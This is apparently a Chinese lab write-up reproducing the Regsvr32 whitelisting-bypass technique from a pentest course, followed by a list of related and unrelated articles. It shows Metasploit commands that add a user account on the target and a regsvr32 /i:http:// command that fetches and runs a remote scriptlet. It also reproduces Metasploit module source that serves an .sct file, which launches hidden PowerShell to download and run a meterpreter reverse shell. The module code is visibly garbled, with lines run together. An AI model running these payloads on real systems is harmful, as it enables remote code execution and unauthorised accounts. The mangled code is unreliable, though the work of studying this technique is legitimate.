复现亮神课程 基于白名单执行payload--Regsvr32

0x01 Regsvr32

Regsvr32命令用于注册COM组件,是 Windows 系统提供的用来向系统注册控件或者卸载控件的命令,以命令行方式运行。WinXP及以上系统的regsvr32.exe在windows\system32文件夹下;2000系统的regsvr32.exe在winnt\system32文件夹下。但搭配regsvr32.exe使用的 DLL,需要提供 DllRegisterServer 和 DllUnregisterServer两个输出函式,或者提供DllInstall输出函数。

说明:Regsvr32.exe所在路径已被系统添加PATH环境变量中,因此,Regsvr32命令可识别。

Windows 2003 默认位置:

C:\WINDOWS\SysWOW64\regsvr32.exe

C:\WINDOWS\system32\regsvr32.exe

0x02 复现

攻击机:192.168.1.4 Debian
靶机: 192.168.1.119 Windows 2003

A)msf_regsvr32

Msf配置:

msf5 exploit(multi/handler) > use auxiliary/server/regsvr32_command_delivery_server

msf5 auxiliary(server/regsvr32_command_delivery_server) > set CMD net user qingxin qingxin /add

CMD => net user qingxin qingxin /add

msf5 auxiliary(server/regsvr32_command_delivery_server) > exploit

[*] Using URL: http://0.0.0.0:8080/OjwuLaHnidmiH96

[*] Local IP: http://192.168.190.141:8080/OjwuLaHnidmiH96

[*] Server started.

[*] Run the following command on the target machine:

regsvr32 /s /n /u /i:http://192.168.190.141:8080/OjwuLaHnidmiH96 scrobj.dll

靶机执行:

C:\Users\Administrator\Desktop\Regsvr32>regsvr32 /s /n /u /i:http::/OjwuLaHnidmiH96 scrobj.dllv

结果:

B) powershell版regsvr32

regsvr32_applocker_bypass_server.rb:

##
# This module requires Metasploit: http://metasploit.com/download# Current source: https://github.com/rapid7/metasploit‐framework
##
class MetasploitModule < Msf::Exploit::RemoteRank = ManualRanking 

include Msf::Exploit::Powershell
include Msf::Exploit::Remote::HttpServer
def initialize(info = {})super(update_info(info,'Name' => 'Regsvr32.exe (.sct) Application Whitelisting Bypass Serve r', 'Description' => %q(This module simplifies the Regsvr32.exe Application Whitelisting Bypass technique.The module creates a web server that hosts an .sct file. When the user types the provided regsvr32 command on a system, regsvr32 will request the .sct file and then execute the included PowerShell command.This command then downloads and executes the specified payload (similar to the web_delivery module with PSH).Both web requests (i.e., the .sct file and PowerShell download and execute) can occur on the same port.),
'License' => MSF_LICENSE,'Author' =>['Casey Smith', # AppLocker bypass research and vulnerability discover y(\@subTee)'Trenton Ivey', # MSF Module (kn0)],'DefaultOptions' =>{'Payload' => 'windows/meterpreter/reverse_tcp'},'Targets' => [['PSH', {}]],'Platform' => %w(win),'Arch' => [ARCH_X86, ARCH_X86_64],'DefaultTarget' => 0,'DisclosureDate' => 'Apr 19 2016','References' =>[['URL', 'http://subt0x10.blogspot.com/2016/04/bypass‐application‐whitelisting‐script.html']]))end
def primerprint_status('Run the following command on the target machine:')print_line("regsvr32 /s /n /u /i:\#{get_uri}.sct scrobj.dll")end
def on_request_uri(cli, _request)# If the resource request ends with '.sct', serve the .sct file# Otherwise, serve the PowerShell payloadif _request.raw_uri =~ /\.sct$/
serve_sct_fileelse
serve_psh_payloadendend
def serve_sct_fileprint_status("Handling request for the .sct file from #{cli.peerhost}")
ignore_cert = Rex::Powershell::PshMethods.ignore_ssl_certificate if ssl
download_string = Rex::Powershell::PshMethods.proxy_aware_download_and_exec_string(get_uri)
download_and_run = "#{ignore_cert}#{download_string}"
psh_command = generate_psh_command_line(
noprofile: true,
windowstyle: 'hidden',
command: download_and_run)
data = gen_sct_file(psh_command)send_response(cli, data, 'Content‐Type' => 'text/plain')end
def serve_psh_payloadprint_status("Delivering payload to #{cli.peerhost}")
data = cmd_psh_payload(payload.encoded,
payload_instance.arch.first,
remove_comspec: true,
use_single_quotes: true)send_response(cli,data,'Content‐Type' => 'application/octet‐stream')end
def rand_class_id"#{Rex::Text.rand_text_hex 8}‐#{Rex::Text.rand_text_hex 4}‐#{Rex::Text.rand_text_hex 4}‐#{Rex::Text.rand_text_hex 4}‐#{Rex::Text.rand_text_hex12}"end
def gen_sct_file(command)%{<?XML version="1.0"?><scriptlet><registrationprogid="\#{rand_text_a lphanumeric 8}"
classid="{#{rand_class_id}}"><script><![CDATA[ var r = ne wActiveXObject("WScript.Shell").Run("#{command}",0);]]><script></registration></scriptlet>}end
end

Msf配置:

靶机执行:

渗透测试-基于白名单执行payload--Regsvr32的更多相关文章

  1. 渗透测试-基于白名单执行payload--Odbcconf

    复现亮神课程 基于白名单执行payload--Odbcconf 0x01 Odbcconf简介: ODBCCONF.exe是一个命令行工具,允许配置ODBC驱动程序和数据源. 微软官方文档:https ...

  2. 渗透测试-基于白名单执行payload--Msiexec

    复现亮神课程  基于白名单执行payload--Msiexec 0x01 关于msiexec Msiexec 是 Windows Installer 的一部分.用于安装 Windows Install ...

  3. 渗透测试-基于白名单执行payload--Csc

    复现亮神课程 基于白名单执行payload--csc 0x01 Csc.exe C#的在Windows平台下的编译器名称是Csc.exe,如果你的.NET FrameWork SDK安装在C盘,那么你 ...

  4. 渗透测试=基于白名单执行payload--Ftp

    还是自己动手复现亮神课程的过程. 环境 靶机win7 攻击机 kali Ftp.exe简介: Ftp.exe是Windows本身自带的一个程序,属于微软TP工具,提供基本的FTP访问 说明:Ftp.e ...

  5. 渗透测试-基于白名单执行payload--zipfldr.dll

    0x01 zipfldr.dll简介: zipfldr.dll自Windows xp开始自带的zip文件压缩/解压工具组件. 说明:zipfldr.dll所在路径已被系统添加PATH环境变量中,因此, ...

  6. 渗透测试-基于白名单执行payload--Compiler

    复现亮神课程 0x01 Compiler前言 说明:Microsoft.Workflow.Comiler.exe是.NET Framework默认自带的一个实用工具,用户能够以XOML工作流文件的形式 ...

  7. 渗透测试-基于白名单执行payload--Cmstp

    0x01 Cmstp简介 Cmstp安装或删除“连接管理器”服务配置文件.如果不含可选参数的情况下使用,则 cmstp 会使用对应于操作系统和用户的权限的默认设置来安装服务配置文件. 微软官方文档: ...

  8. 渗透测试-基于白名单执行payload--Pcalua

    0x01 Pcalua简介 Windows进程兼容性助理(Program Compatibility Assistant)的一个组件. 说明:Pcalua.exe所在路径已被系统添加PATH环境变量中 ...

  9. 渗透测试-基于白名单执行payload--Forfiles

    0x01 Forfiles简介: Forfiles为Windows默认安装的文件操作搜索工具之一,可根据日期,后缀名,修改日期为条件.常与批处理配合使用. 微软官方文档:https://docs.mi ...

随机推荐

  1. FreeSql (三十四)CodeFirst 迁移说明

    FreeSql 支持 CodeFirst 迁移结构至数据库,这应该是(O/RM)必须标配的一个功能. 与其他(O/RM)不同FreeSql支持更多的数据库特性,而不只是支持基础的数据类型,这既是优点也 ...

  2. SAP压缩excel并发送mail案例

    "SAP压缩附件 REPORT ZMMR0033_DEL7 . TYPES: BEGIN OF bin_file,            name TYPE string,          ...

  3. Google 官方 侧滑 drawerlayout

    一.概述 目前侧滑框架已经很多了,但是我常用的也就那么2个 ,slidingmenu 和sidemenu-android, 但是项目要求使用官方的,所以就看了一下drawerlayout 二.代码 官 ...

  4. Flink 从 0 到 1 学习 —— 如何自定义 Data Sink ?

    前言 前篇文章 <从0到1学习Flink>-- Data Sink 介绍 介绍了 Flink Data Sink,也介绍了 Flink 自带的 Sink,那么如何自定义自己的 Sink 呢 ...

  5. 树莓派4B安装docker-compose(64位Linux)

    准备工作 树莓派4B已装好64位Linux,并且装好了19.03.1版本的Docker,具体的安装步骤请参考<树莓派4B安装64位Linux(不用显示器键盘鼠标)> 安装docker-co ...

  6. 数据结构慕课PTA 05-树9 Huffman Codes

    题目内容 In 1953, David A. Huffman published his paper "A Method for the Construction of Minimum-Re ...

  7. Hadoop入门 之 Hadoop常识

    1.Hadoop是什么? 答:Hadoop是开源的分布式存储和分布式计算平台. 2.Hadoop的组成是什么? 答:Hadoop由HDFS和MapReduce这两个核心部分组成. HDFS(Hadoo ...

  8. ##发送post时,设置了utf-8,中文还是乱码?

    发送post时,设置了utf-8,中文还是乱码? 我们用HttpUrlConnection或HttpClient发送了post请求,其中有中文,虽然我们两边都设置了utf-8,但还是乱码? 我们在re ...

  9. 使用 Fabric 自动化部署 Django 项目

    作者:HelloGitHub-追梦人物 文中涉及的示例代码,已同步更新到 HelloGitHub-Team 仓库 在上一篇教程中,我们通过手工方式将代码部署到了服务器.整个过程涉及到十几条命令,输了 ...

  10. redis-分片(转)

    转:https://www.cnblogs.com/houziwty/p/5167075.html 分片(partitioning)就是将你的数据拆分到多个 Redis 实例的过程,这样每个实例将只包 ...